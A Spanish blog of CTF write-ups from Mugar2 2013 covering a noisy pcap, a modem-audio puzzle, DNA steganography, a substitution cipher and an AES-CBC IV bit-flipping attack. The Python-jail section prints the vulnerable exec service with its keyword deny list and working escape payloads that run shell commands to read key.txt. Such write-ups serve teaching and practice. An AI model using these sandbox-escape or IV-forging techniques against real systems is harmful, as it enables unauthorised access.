lunes, 23 de septiembre de 2013

Writeup Network 100. CTF Mugar2 2013



Network 100

La prueba Network100 consistía en encontrar la clave para puntuar entre un montón de ruido en un archivo de captura .pcap

Para generar el archivo se usaron unas cuantas VM's con Windows XP, 7, linux, y alguna cosa más, conectándose a webs y servicios varios, y para ponerle un poco de emoción, tanto el router como el servidor emulaban unas condiciones de red horribles que hacían aparecer todo tipo de errores, retransmisiones y demás en la captura (al fin y al cabo era una comunicación entre distintas naves ¿no? pues seguramente por ahí arriba hay mucho ruido ;) )

Por si alguien tiene curiosidad sobre esta parte, se usó tc netem, con un comando tal que


tc qdisc change dev eth0 root netem delay 100ms 600ms distribution normal loss 10% duplicate 5% corrupt 5%

El caso es que en estos casos en los que la captura tiene mucho ruido, lo mejor es descartar la información no util, y para eso y con ayuda del wireshark, podemos ir filtrando las cosas que no nos interesan, por ejemplo
Muchos pings.. pero tienen algo interesante? seguramente no, fuera
Filtro: !icmp
lo mismo con los de ipv6
Filtro: !icmp && !icmpv6
En cuanto a https, que hay bastante, vamos a asumir que no podemos descifrarlo (ni ninguna comunicacion cifrada en principio), así que lo quitamos también, todo https (443) tanto preguntas como respuestas
Filtro: !icmp && !icmpv6 && !tcp.dstport == 443 && !tcp.srcport == 443 
¿Retransmisiones y duplicados? fuera también
Filtro: !icmp && !icmpv6 && !tcp.dstport == 443 && !tcp.srcport == 443 && !tcp.analysis.retransmission && ! tcp.analysis.duplicate_ack  
Y así vamos separando la "paja" para ver.. unas cuantas conversaciones HTTP :) y una conexión bastante rara en un puerto bastante raro
Toda esta parte es opcional, pero es para no tener que ver paquetes en la captura que no nos aportan nada
--
Ahora a la miga del asunto
Para ver si podemos sacar algo de estas conversaciones HTTP lo más fácil en el wireshark es ir a File -> Export Objects -> HTTP
Hay dos ficheros muy interesantes que provienen de un servidor web en 10.2.1.201 y que son descargados una y otra vez por distintas IPs
Uno es el index de esa web que es...
<html><body><h1>Breaking!</h1>
<p>Alien news.</p>
<p>Invasion to Mugar2 currently going on.</p>
<p>Every other comm is blocked until we ki... capt.. make a deal with the humans<p>
<p> A todas las naves satelite, la clave para el primer paso de la estacion esta en el archivo key.zip<p>
<p> La contraseña es la habitual, si alguno olvida la clave puede utilizar el metodo de recuperacion en el servicio 9999 <p>
</body></html>
Y el otro el key.zip, que obviamente está protegido por contraseña :)
# unzip key.zip Archive: key.zip [key.zip] key.txt password:
Afortunadamente parece que alguien se había olvidado la contraseña y utilizó ese servicio que menciona el index en 9999
Buscamos en el wireshark con este filtro
Filtro: tcp.dstport==9999
Seguimos la conversación con Analyze-> Follow TCP Stream y.. tachán :D
clave? la clave es blackhole
y ahora podemos..
# unzip key.zip Archive: key.zip [key.zip] key.txt password: inflating: key.txt
y..
# cat key.txt La clave es: th3_d4y_th3_r0ut3rs_d13d
Y 100 puntos más :)





Writeup Misc 200. Space PyCowboy CTF Mugar2 2013 by tunelko



=== Space PyCowboy Write-Up 

1  Conectamos a la ip y puerto indicados con netcat: nc [IP] [PORT]

Por la pista del título y las entradas que metemos, cuando nos pregunta por la key podemos saber que se trata de Python. 
Intentamos injectar algo de código y utilizar "import" de módulos sin mucho éxito ya que tenemos un método en el código 'securized()' que impide esto: 

 def securized():
        UNSAFE = ['open',
         'file',
         'execfile',
         'compile',
         'reload',
         '__import__',
         'eval',
         'input']
        for func in UNSAFE:
          del __builtins__.__dict__[func]

                
En el bucle de UNSAFE anula la utilización de estas funciones. 

Vamos a ver el código completo : 
                   
#!/usr/bin/env python

# config with socat 
# Use socat to run as a listening service 
# socat TCP-LISTEN:1337,fork EXEC:./level1.py,pty,stderr

def securized():
        UNSAFE = ['open',
         'file',
         'execfile',
         'compile',
         'reload',
         '__import__',
         'eval',
         'input']
        for func in UNSAFE:
          del __builtins__.__dict__[func]


from re import search
securized()
print 'Can you read the key.txt?'
while True:
    try:
      x = search('\S+', raw_input()).group(0)
      if "key.txt" in x:
       print "Hey ! this is fun, you have to read a key.txt but i avoid this string, padawan :-)"
       exit()
      if "sudo" in x:
       print "Good try, but too dangerous !"
       exit()
      if "sh" in x:
       print "Good try, but not allowed :-)"
       exit()
      print "x=", x
      a = None
      exec 'x=' + x
      print 'you got:', a
    except Exception, e:
      print 'Exception: ', e
  

Vemos que la variable x es igual a lo que metamos en la entrada por el uso de search y pocas lineas mas tarde es ejecutado. 

x = search('\S+', raw_input()).group(0)

Ummm, no podemos hacer uso de módulo pero tenemos  __globals__, Vamos a probar:

>>>>> search.__globals__['sys']
x= search.__globals__['sys']
you got:   
                

Parece que podemos abusar de __globals__['sys'] hasta conseguir utilizar import os:


 >>>>> search.__globals__['sys'].modules['os'].system('ls')
x= search.__globals__['sys'].modules['os'].system('ls')
bin  jail.py  jail2.py  key.txt  run.sh  t.py
you got: 0
                

Vale, ahora sólo toca ejecutar el comando qeu nos vuelque el contenido del fichero, teniendo en cuenta que necesitamos concatenar y salvar espacios, porque el servicio es asi de caprichoso. 

imac:~ pedro$ nc 188.165.132.186 1337 
Can you read the key.txt?
search.__globals__['sys'].modules['os'].system('cat\x20key.txt')
Hey ! this is fun, you have to read a key.txt but i avoid this string, padawan :-)

Pedazo de ... Llegar aquí para encontrarnos con esta sorpresita, en fin, vamos a concatenar y liberar a nuestro compañero del equipo DELTA. 

imac:~ pedro$ nc 188.165.132.186 1337 
Can you read the key.txt?
search.__globals__['sys'].modules['os'].system('cat\x20ke'+'y.txt')
x= search.__globals__['sys'].modules['os'].system('cat\x20ke'+'y.txt')

key{H45_c0n539U1d0_l4_lL4V3_D3_l4_c3Ld4_C0N9r472}

También podíamos intentar sacarnos una shell, aunque el código tenía bastantes filtros para que esta posibilidad no se produjera nunca. Aunque se hubiera conseguido shell, el usuario estaba bastante 'encarcelado'. 

A mi modo de ver, esta pequeña prueba te enseña a codificar un poco mejor un servicio en python y tener en cuenta que el usuario puede aprovecharse de cualquier fisura en tu codigo. 

Tunelko




Writeup Network 200. CTF Mugar2 2013



Network 200

Esta prueba de network es un homenaje a las comunicaciones retro.

La introducción a la prueba era esta:

"Al parecer algunos de nuestros sistemas de comunicación han sido reutilizados por los aliens, afortunadamente parece que solo han conseguido adaptar los más antiguos, pero ¿cuánto tiempo llevan entonces entre nosotros? Este es un interface que hemos conseguido hasta uno de esos aparatos, en la carcasa pone V.21 .. ctf.adaformacion.es 9000"

¿Por donde empezar?

Pues a ver, antes de conectarnos a nada vamos a buscar información sobre V.21, por si lo que aparece por ahí está relacionado.

Una ojeada a google nos devuelve varios resultados, y el único relacionado con la tecnología parece ser este


Módem dúplex a 300 bit/s normalizado para uso en la red telefónica general con conmutación  

Bueno, aunque no nos vale para nada (aún), nos quedamos con la información y pasamos a la siguiente parte, la del nc


En este caso cuando ejecutamos el comando del enunciado nos salen una serie de caracteres imprimibles y no imprimibles que posiblemente estropearán la configuración de la consola (lo siento!, pero reset es un comando muy útil en estos casos, vuelve a poner la consola como nueva :D)

Entonces, si son datos binarios, realmente no podemos interactuar con ellos, así que la mejor idea en estos casos es guardarlos y luego ya utilizaremos alguna herramienta para analizarlos, abrirlos o ver al menos que son.

Así que en vez de ejecutar directamente el nc ctf.adaformacion.es 9000, lo redirigimos quedando así

nc ctf.adaformacion.es 9000 > ficherodesconocido

Y luego miramos lo que es con el comando file

# file ficherodesconocido 
ficherodesconocido: FLAC audio bitstream data, 16 bit, mono, 48 kHz, length unknown


¿Un fichero de audio?

Pues nada, lo escuchamos (lo subo a soundcloud para que podais probarlo sin hacer lo del nc, porque el servicio lo apagamos despues del CTF).



Parece un sonido de.. .¿un modem? A lo mejor esta parte a los más jóvenes les ha costado un poco más pero muchos tenemos ese sonido grabado a fuego en nuestras cabezas, pero eh espera.. no hablaba además la introducción de la prueba de V.21, un modem a 300bps

¡Pues entonces esta podría ser una transmisión hecha con ese modem!

Y llegados aquí tenemos dos opciones, conseguir un modem (je je) o buscar un emulador por internet, en los propios repositorios de debian hay uno así que..

apt-get install minimodem

Y mi recomendación, para hacerlo más realista, es que si quereis probarlo useis soundcloud y pongais cerca el micrófono y..


minimodem -r 300


Si lo haceis así cualquier sonido de fondo podrá interferir, así que si estais en un lugar ruidoso y no os importa el "glamour" de la prueba ;)

minimodem -r 300 -f ficherodesconocido

En cualquiera de los dos casos el resultado es el hacker's manifesto con la key que buscamos al final :) 

Espero que os haya gustado!


### CARRIER 300 @ 1250.0 Hz ###
Another one got caught today, it's all over the papers. "Teenager 
Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"... 

Damn kids. They're all alike. 

But did you, in your three-piece psychology and 1950's technobrain, 
ever take a look behind the eyes of the hacker? Did you ever wonder what 
made him tick, what forces shaped him, what may have molded him? 

I am a hacker, enter my world... 

Mine is a world that begins with school... I'm smarter than most of 
the other kids, this crap they teach us bores me... 

Damn underachiever. They're all alike. 

I'm in junior high or high school. I've listened to teachers explain 
for the fifteenth time how to reduce a fraction. I understand it. "No, Ms. 
Smith, I didn't show my work. I did it in my head..." 

Damn kid. Probably copied it. They're all alike. 

I made a discovery today. I found a computer. Wait a second, this is 
cool. It does what I want it to. If it makes a mistake, it's because I 
screwed it up. Not because it doesn't like me... 

Or feels threatened by me... 
Or thinks I'm a smart ass... 
Or doesn't like teaching and shouldn't be here... 

Damn kid. All he does is play games. They're all alike. 
And then it happened... a door opened to a world... rushing through 
the phone line like heroin through an addict's veins, an electronic pulse is 
sent out, a refuge from the day-to-day incompetencies is sought... a board is 
found. 

"This is it... this is where I belong..." 

I know everyone here... even if I've never met them, never talked to 
them, may never hear from them again... I know you all... 

Damn kid. Tying up the phone line again. They're all alike... 

You bet your ass we're all alike... we've been spoon-fed baby food at 
school when we hungered for steak... the bits of meat that you did let slip 
through were pre-chewed and tasteless. We've been dominated by sadists, or 
ignored by the apathetic. The few that had something to teach found us will- 
ing pupils, but those few are like drops of water in the desert. 

This is our world now... the world of the electron and the switch, the 
beauty of the baud. We make use of a service already existing without paying 
for what could be dirt-cheap if it wasn't run by profiteering gluttons, and 
you call us criminals. We explore... and you call us criminals. We seek 
after knowledge... and you call us criminals. We exist without skin color, 
without nationality, without religious bias... and you call us criminals. 
You build atomic bombs, you wage wars, you murder, cheat, and lie to us 
and try to make us believe it's for our own good, yet we're the criminals. 

Yes, I am a criminal. My crime is that of curiosity. My crime is 
that of judging people by what they say and think, not what they look like. 
My crime is that of outsmarting you, something that you will never forgive me 
for. 

I am a hacker, and this is my manifesto. You may stop this individual, 
but you can't stop us all... after all, we're all alike. 

And the key is "the_key_is_a_lie"
### NOCARRIER ndata=3041 confidence=0.77 throughput=300.00 (0.0% slow) ###












Writeup Crypto 200. CTF Mugar2 2013



Crypto 200

Esta prueba era un poco más complicada que la anterior de cifrado, sobre todo por lo poco convencional del método de cifrado utilizado.

Pero el punto de partida era en si una pista.

Partimos de esta imagen


Y sin decirnos nada más, comienza la prueba.

En realidad la imagen no nos dice nada por si misma, aparentemente, aunque podríamos probar a cambiar ajustes como contraste, brillo o color para ver si en la parte blanca de la derecha aparece algún mensaje, podemos automatizar eso en algún servicio online como Fotoforensics .

Una vez comprobado que no es el caso, nos quedan 3 opciones:

a) strings de texto en la foto. Nada
b) Información en los metadatos (podemos usar exiftool por ejemplo). Nada
c) Esteganografía.


Y llegados a este punto solo podemos buscar alguna herramienta de detección de esteganografía y esperar que funcione, porque analizar a mano una imagen puede llevar mucho, mucho tiempo

Pero afortunadamente ...

$ zsteg dna.bmp
imagedata           .. text: "^|\"Pp,Jn"
b1,lsb,bY           .. text: "ATGACGCATGAGATGGATAACGCGATGATTTCGTAAATGGCGTGAATGACGAGAGCCCCGTAA\n"



(zsteg se puede instalar como un gem de ruby)

ATGACGCATGAGATGGATAACGCGATGATTTCGTAAATGGCGTGAATGACGAGAGCCCCGTAA?

Durante el concurso se dio una web como pista, aunque a los frikis de GATACCA a lo mejor les sonaba algo ya...

La web en cuestión era un enlace a wikipedia http://en.wikipedia.org/wiki/Genetic_code en donde se habla del código genético.

Y ahí tenemos una conversión de aminoácidos a cadenas de ADN como esta
Ala/AGCT, GCC, GCA, GCGGCNLeu/LTTA, TTG, CTT, CTC, CTA, CTGYTR, CTN
Arg/RCGT, CGC, CGA, CGG, AGA, AGGCGN, MGRLys/KAAA, AAGAAR
Asn/NAAT, AACAAYMet/MATG
Asp/DGAT, GACGAYPhe/FTTT, TTCTTY
Cys/CTGT, TGCTGYPro/PCCT, CCC, CCA, CCGCCN
Gln/QCAA, CAGCARSer/STCT, TCC, TCA, TCG, AGT, AGCTCN, AGY
Glu/EGAA, GAGGARThr/TACT, ACC, ACA, ACGACN
Gly/GGGT, GGC, GGA, GGGGGNTrp/WTGG
His/HCAT, CACCAYTyr/YTAT, TACTAY
Ile/IATT, ATC, ATAATHVal/VGTT, GTC, GTA, GTGGTN
STARTATGSTOPTAA, TGA, TAGTAR, TRA

Así que..

ATG: START
ACG:T
CAT:H
GAG:E
ATG: START
GAT:D
AAC:N
GCG:A
ATG: START
ATT: I
TCG:S
TAA:STOP
ATG:START
GCG:A
TGA:STOP
ATG:START
ACG:T
AGA:R
GCC:A
CCG:P
TAA:STOP

THE DNA IS A TRAP

Y con esto son 200 puntillos más.

Espero que os haya gustado la prueba :D






Writeup Crypto 100. CTF Mugar2 2013



Crypto100

Se nos presenta un texto cifrado con esta apariencia

Ol miol mit ktqs soyt?
Ol miol pnlm yqfmqlx?
Eqnuim of q sqfrlsort,nlock code
Fg tleqht ykgd ktqsomx.
Ghtf xgnk txtl,
Sgga nh mg mit laotl qfr ltt,
O'd pnlm q hggk qsotf,
O fttr fg lxdhqmix,
Wteqnlt O'd tqlx egdt, tqlx ug,
Sommst ioui, sommst sgv,
Qfx vqx mit vofr wsgvl rgtlf'm ktqssx dqmmtk mg dt, mg dt.
Dqdq, pnlm aosstr q dqf,
Hnm q sqltk quqoflm iol itqr,
hnsstr dx mkouutk, fgv it'l rtqr.
Dqdq, ofbqlogf iqr pnlm wtunf,
Wnm fgv O'bt ugft qfr mikgvf om qss qvqx.
Dqdq, ggi,
Rorf'm dtqf mg dqat xgn ekx,
Oy O'd fgm wqea quqof miol modt mgdgkkgv,
Eqkkx gf, eqkkx gf ql oy fgmiofu ktqjnt jnotktl nf kssx dqmmtkl.
Mgg sqmt, dx modt iql egdt,
Ltfrl liobtkl rgvf dx lhoft,
wgrx'l qeiofu qss mit modt.
Uggrwxt, tbtkxwgrx, O'bt ugm mg ug,
Ugmmq stqbt xgn qss wtiofr qfr yqet mit mknmi.
Dqdq, ggi,
O rgf'm vqfm mg rot,
O lgdtmodtl voli O'r ftbtk wttf wgkf qm qss.
O ltt q sommst losigntmmg gy q dqf,
Leqkqdgneit, Leqkqdgneit, voss xgn rg mit Yqfrqfug.
Minfrtkwgsm qfr souimfofu, btkx, btkx ykouim'fofu dt.
(Uqsostg.) Uqsostg.
(Uqsostg.) Uqsostg,
Uqsostg youqkg Dqufoyoeg.
O'd pnlm q hggk qsotf qfr fgwgrx sgbtl dt.
It'l pnlm q hggk qsotf ykgd q hggk yqdosx,
Lhqkt iod iol soyt ykgd miol dgflmkglomx.
Tqlx egdt, tqlx ug, voss xgn stm dt ug.
Woldossqi!
Fg, vt voss fgm stm xgn ug. (Stm iod ug!)
Woldossqi!
Vt voss fgm stm xgn ug. (Stm iod ug!)
Woldossqi!
Vt voss fgm stm xgn ug. (Stm dt ug.)
Voss fgm stm xgn ug. (Stm dt ug.)
Voss fgm stm xgn ug. (Stm dt ug.)
Qi. Fg, fg, fg, fg, fg, fg, fg.
(Gi dqdq doq, dqdq doq.) Dqdq doq, stm dt ug.
Wttsztwnw iql q rtbos hnm qlort ygk dt, ygk dt, ygk dt.
Lg xgn miofa xgn eqf lmgft dt qfr lhom of dx txt.
Lg xgn miofa xgn eqf sgbt dt qfr stqbt dt mg rot.
Gi, wqwx, eqf'm rg miol mg dt, wqwx,
Pnlm ugmmq utm gnm, pnlm ugmmq utm kouim gnmmq itkt.
Fgmiofu ktqssx dqmmtkl,
Qfxgft eqf ltt,
Fgmiofu ktqssx dqmmtkl,
Fgmiofu ktqssx dqmmtkl mg dt.
Qfx vqx mit vofr wsgvl.

Mit atx ol xgneqfmlmghdtfgv

Cuando nos encontramos con un texto cifrado uno de los principales problemas es que no sabemos con qué está cifrado, porque por definición un sistema de cifrado (seguro) no debería darnos ningún dato acerca del texto original, es decir, la información cifrada debe ser, o tener apariencia de información aleatoria. 

Este evidentemente no es el caso, porque con una ojeada podemos sacar aparentemente bastante información del texto original, signos de puntuación, espacios, lineas.. así que seguramente se trate de un cifrado clásico, y en este caso nuestro principal candidato es el de sustitución.

El cifrado de sustitución consiste como su nombre indica en sustituír cada uno de los caracteres del texto por otra cosa, y esa otra cosa puede ser otro caracter del mismo sistema de codificación del texto original, caracteres de otro juego de caracteres más amplio, símbolos, dibujos o cualquier cosa que se nos ocurra.

Vamos a asumir el primer caso, porque es el más fácil de resolver.

Existe un patron en los lenguajes naturales que es que ciertas letras, digramas y trigramas se repiten con una cierta frecuencia fija, es decir, que en un texto lo suficientemente largo digamos de 3 o 4 páginas la letra "A", por ejemplo, se repetirá lo mismo que en la biblia o que en este texto. 

A este método de contar cuántas veces aparece le letra en un texto cifrado se le llama análisis de frecuencias y existen herramientas que realizan el análisis de forma automática, además de compararlo con la tabla de frecuencias de un idioma determinado.

No puedo dejar de recomendar en este caso usar Cryptool, que nos permitirá experimentar con distintos tipos de cifrado además de tener algunas herramientas muy interesantes para el cryptoanálisis.


Desafortunadamente el análisis de frecuencias en este caso no saca nada legible, no porque no sea un metodo eficaz, sino porque:

a) No tenemos el suficiente texto para que las frecuencias se ajusten a la media
b) El texto esta en un idioma que no conocemos o usa palabras técnicas o no habituales que desvían la media de frecuencias

Sea como sea y antes de abandonar la idea del cifrado de substitución hay un segundo método para descifrar este tipo de textos, similar al anterior pero probando con las palabras más comunes en un idioma.

Usando de nuevo cryptool para realizar este método nos encontramos con esta salida.


Lo cual ya tiene mucha mejor pinta, pues al menos podemos intuir muchas de las palabras.

Ademas vemos que el interfaz de cryptool nos ha dejado * en donde no ha encontrado una coincidencia para que lo completemos, así que nos ponemos a la labor por ejemplo

"IS THIS THE REAL LIyE"
puede ser
"IS THIS THE REAL LIFE"
ponemos una F en la y, y así al final nos encontraremos con el texto original.

Is this the real life?
Is this just fantasy?
Caught in a landslide,
No escape from reality.
Open your eyes,
Look up to the skies and see,
I'm just a poor alien,
I need no sympathy,
Because I'm easy come, easy go,
Little high, little low,
Any way the wind blows doesn't really matter to me, to me.
Mama, just killed a man,
Put a laser against his head,
pulled my trigger, now he's dead.
Mama, invasion had just begun,
But now I've gone and thrown it all away.
Mama, ooh,
Didn't mean to make you cry,
If I'm not back again this time tomorrow,
Carry on, carry on as if nothing reaque quieres un rlly matters.
Too late, my time has come,
Sends shivers down my spine,
body's aching all the time.
Goodbye, everybody, I've got to go,
Gotta leave you all behind and face the truth.
Mama, ooh,
I don't want to die,
I sometimes wish I'd never been born at all.yo es que antes de esa hora curro y q
I see a little silhouetto of a man,
Scaramouche, Scaramouche, will you do the Fandango.
Thunderbolt and lightning, very, very fright'ning me.
(Galileo.) Galileo.
(Galileo.) Galileo,
Galileo figaro Magnifico.
I'm just a poor alien and nobody loves me.
He's just a poor alien from a poor family,
Spare him his life from this monstrosity.
Easy come, easy go, will you let me go.
Bismillah!
No, we will not let you go. (Let him go!)
Bismillah!
We will not let you go. (Let him go!)
Bismillah!
We will not let you go. (Let me go.)
Will not let you go. (Let me go.)
Will not let you go. (Let me go.)
Ah. No, no, no, no, no, no, no.
(Oh mama mia, mama mia.) Mama mia, let me go.
Beelzebub has a devil put aside for me, for me, for me.
So you think you can stone me and spit in my eye.
So you think you can love me and leave me to die.
Oh, baby, can't do this to me, baby,
Just gotta get out, just gotta get right outta here.
Nothing really matters,
Anyone can see,
Nothing really matters,
Nothing really matters to me.
Any way the wind blows.
The key is youcantstopmenow

¿Ya suena más no? :D

Bohemian Rhapsody by Queen on Grooveshark


Y con esa key, "youcanstopmenow" podemos puntuar 100 puntillos y seguir con otra cosa.




lunes, 9 de septiembre de 2013

Solución a la prueba 2 - Modificación de datos con AES CBC





La semana pasada colgamos en la web una prueba sobre cifrado, como la segunda parte de una serie de pruebas que estamos haciendo para que la gente conozca y pruebe de primera mano lo que se va a impartir en el curso de seguridad que comenzaremos este mes.

Esta prueba además, fue una prueba que inicialmente íbamos a poner en el CTF de la Kernel 2013 en Mugardos, pero que al final decidimos dejarla fuera de concurso y ponerla como previsualización del mismo.

El caso es que después de una semana nadie ha conseguido resolverla :) así que creo que se merece una explicación bastante detallada.

Antes de ir al grano, un poco de background.

AES


AES es una especificación de cifrado de bloques basado en Rijndael
Sin entrar en demasiados detalles técnicos, hay dos características fundamentales sobre AES que nos pueden dar una idea acerca de lo que es:

1 - Usa una función de expansión de clave pseudoaleatoria segura: Es decir, a partir de una clave relativamente pequeña (128, 192 o 256 bits en este caso), la función de AES consigue crear una clave expandida capaz de ser usada para cifrar todo el texto.
2 - El método de cifrado es de bloques, es decir, si tengo que cifrar un texto de 1000 bits, ese texto se dividirá en bloques y cada uno de ellos se cifrará por separado. En el caso de AES el tamaño de bloque es fijo: 128 bits (16 bytes)

Sobre su seguridad, podemos decir que hasta la fecha AES es uno de métodos de cifrado más seguros siempre y cuando la clave sea lo suficientemente compleja y su implementación sea correcta.

Este no es el caso de una implementación correcta, así que seguimos con más detalles sobre la prueba :D


CBC


AES se puede utilizar de diferentes maneras llamadas "modos", esto es, diferentes implementaciones para aprovechar la funcionalidad de AES, algunas son más adecuadas que otras para determinadas situaciones y cada una tiene ciertos requisitos a la hora de su implementación.

En esta prueba se usa el modo CBC (se ve en el cliente, más sobre esto más adelante) así que vamos a hacer una breve descripción del mismo.

Antes comentábamos que AES cifra por bloques de 128 bits, en el caso del modo CBC el cifrado de estos bloques se produce de la siguiente manera (esquema sacado de wikipedia):

CBC encryption.svg

Es decir, se divide el texto en bloques de128 bits y despues:

- Se hace XOR del primer bloque con un vector de inicialización IV
- El resultado se cifra con AES y  la clave
- Se hace XOR del resultado del paso anterior con el siguiente bloque
- El resultado se cifra con AES y la clave

Etc..

Y así conseguimos:
- Que el IV (que debería ser distinto para cada operación de cifrado) evite que dos cifrados del mismo texto sean iguales, por lo que evitamos los ataques de repetición
- Que cada bloque sea siempre de 128 bits, lo que AES necesita (el IV por lo tanto tiene que ser de 128 bits también)

A la hora de descifrar por lo tanto se hace la operación inversa

CBC decryption.svg

Por pasos : 
- Se descifra el primer bloque con AES y la clave y después se hace XOR con el IV
- Se descifra el segundo bloque con AES y la clave y se hace XOR con el primer bloque sin descifrar
- Se descifra el tercer bloque con AES y la clave y se hace XOR con el segundo bloque sin descifrar
etc

Esto nos lleva a dos conclusiones:

- Que el IV hace falta tanto como la clave para descifrar el mensaje (al menos el primer bloque), pero como con eso solo no se descifra el mensaje, se suele enviar junto con el mensaje, en concreto los primeros 16 bytes de un mensaje AES CBC suele ser el IV, como veremos en nuestro ejemplo más adelante.

- Lo importante: Que el XOR del IV a la hora de descifrar se aplica DESPUÉS de haber descifrado el texto con la clave 


Y con esta información ya estamos listos para resolver el problema



Reuniendo toda la información.



El enunciado de la prueba, que aún podemos encontrar en esta web nos presentaba un escenario poco prometedor, y mucha gente en cuanto vio AES y clave en blanco ya dejó de hacer la prueba, pero vamos a ver los detalles interesantes:

El cliente.py nos muestra bastante información acerca de la última petición que se hizo al servidor:
- Por una parte sabemos el IV que se utilizó: 8262850ee31a28351e9cc6da99438f6f
- Por otra parte sabemos el último texto que se cifró: -clave de laura-

La captura.pcap por otra parte nos da más información, puesto que en los paquetes está cifrado ese mensaje que salió del cliente

Abriendo esa captura con el wireshark, por ejemplo, vemos que además es la única comunicación en todo el fichero, así que podemos por ejemplo seguir la conversación (Click derecho, follow TCP stream) para ver el contenido, que es este

"8262850ee31a28351e9cc6da99438f6f2d78e1d2eb48ebf6f4442d61b5f0aca269342a926713ce09116203fd31f48f10Hola usuario normal, tu clave es: clavemuyfacil"

Entonces, sabemos que lo que el cliente envía cifrado al servidor es: 

8262850ee31a28351e9cc6da99438f6f2d78e1d2eb48ebf6f4442d61b5f0aca269342a926713ce09116203fd31f48f10

Donde los primeros 16 bytes es el IV 8262850ee31a28351e9cc6da99438f6f (esto ya lo sabíamos por otra parte, porque el cliente lo tenía como valor en la variable IV)


Entonces sabemos que 

8262850ee31a28351e9cc6da99438f6f2d78e1d2eb48ebf6f4442d61b5f0aca269342a926713ce09116203fd31f48f10 

es el cifrado de 

-clave de laura-

Como comentamos antes en la explicación de CBC el XOR del IV con el primer bloque se aplica después del descifrado con la key, así que sabemos que el servidor que reciba el mensaje lo primero que va a hacer con el es descifrarlo con AES y luego hacer un XOR de los primeros 16 bytes con los siguientes 16, es decir, va a hacer XOR de estas dos cosas:


82 62 85 0e e3 1a 28 35 1e 9c c6 da 99 43 8f 6f 
-  c  l  a  v  e     d  e     l  a  u  r  a  - 

¿Se empieza a ver la luz? :D
                              
Nosotros no podemos modificar el mensaje porque no sabemos la key para volver a cifrarlo, pero si podemos modificar el IV, porque se envía junto con el mensaje, y aprovecharnos del funcionamiento de AES para forjar un IV especialmente diseñado para cambiar el sentido del mensaje cifrado


Así que vamos a hacer esto en dos pasos, primero cambiamos el IV para que anule laura

82 62 85 0e e3 1a 28 35 1e 9c c6 da 99 43 8f 6f
-  c  l  a  v  e     d  e     l  a  u  r  a  -

xor                           l  a  u  r  a
                           6c 61 75 72 61

--------------------------------------------------------
                           aa bb ec 31 ee

Y ahora cambiamos otra vez el IV para añadir admin en su lugar

82 62 85 0e e3 1a 28 35 1e 9c aa bb ec 31 ee 6f
-  c  l  a  v  e     d  e                    -

xor                            a  d  m  i  n
                            61 64 6d 69 6e

--------------------------------------------------------
                            cb df 81 58 80


Así que tenemos que con el mismo mensaje cifrado pero con un IV distinto


8262850ee31a28351e9ccbdf8158806f2d78e1d2eb48ebf6f4442d61b5f0aca269342a926713ce09116203fd31f48f10 
descifrará como : 
-clave de admin- 

Probamos ese string en el servidor y..


# nc 188.165.132.186 9995
8262850ee31a28351e9ccbdf8158806f2d78e1d2eb48ebf6f4442d61b5f0aca269342a926713ce09116203fd31f48f10
Hola admin, tu clave es: thekeyisalie


thekeyisalie!


Gracias por aguantar hasta aquí y hasta la próxima prueba :D